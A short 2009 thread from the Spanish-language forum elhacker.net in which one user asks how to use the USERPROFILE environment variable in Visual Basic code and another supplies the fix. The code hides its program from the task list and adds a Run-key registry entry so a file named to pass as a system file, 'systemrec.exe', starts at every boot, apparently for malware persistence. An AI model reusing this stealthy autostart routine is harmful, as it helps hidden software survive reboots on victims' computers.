Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: .;. en 10 Abril 2009, 20:30 pm



Título: Variables de entorno
Publicado por: .;. en 10 Abril 2009, 20:30 pm
Hola, bueno pues he leido lo de las variables de entorno y Environ, pero no se como aplicarlo a este code.

Código
  1. Private Sub Form_Load()
  2. Dim r As String
  3. App.TaskVisible = False
  4. CLAVE = "SystemREC"
  5. VALOR = "C:\WINDOWS\systemrec.exe"
  6. Set wsc = CreateObject("wscript.shell")
  7. r = wsc.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\SystemREC")
  8. If r <> VALOR Then
  9.     wsc.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" & CLAVE, VALOR
  10. End If
  11. End Sub

¿Alguien sabe?

Quiero cambiar Windows por la variable USERPROFILE


Título: Re: Variables de entorno
Publicado por: seba123neo en 10 Abril 2009, 20:40 pm
Hola, asi ?

Código
  1. Private Sub Form_Load()
  2.    Dim r As String
  3.    App.TaskVisible = False
  4.    CLAVE = "SystemREC"
  5.    VALOR = Environ("USERPROFILE") & "\systemrec.exe"
  6.    Set wsc = CreateObject("wscript.shell")
  7.    r = wsc.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\SystemREC")
  8.    If r <> VALOR Then
  9.         wsc.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" & CLAVE, VALOR
  10.    End If
  11. End Sub
  12.  

saludos.


Título: Re: Variables de entorno
Publicado por: .;. en 10 Abril 2009, 20:50 pm
Si, gracias seba.

;D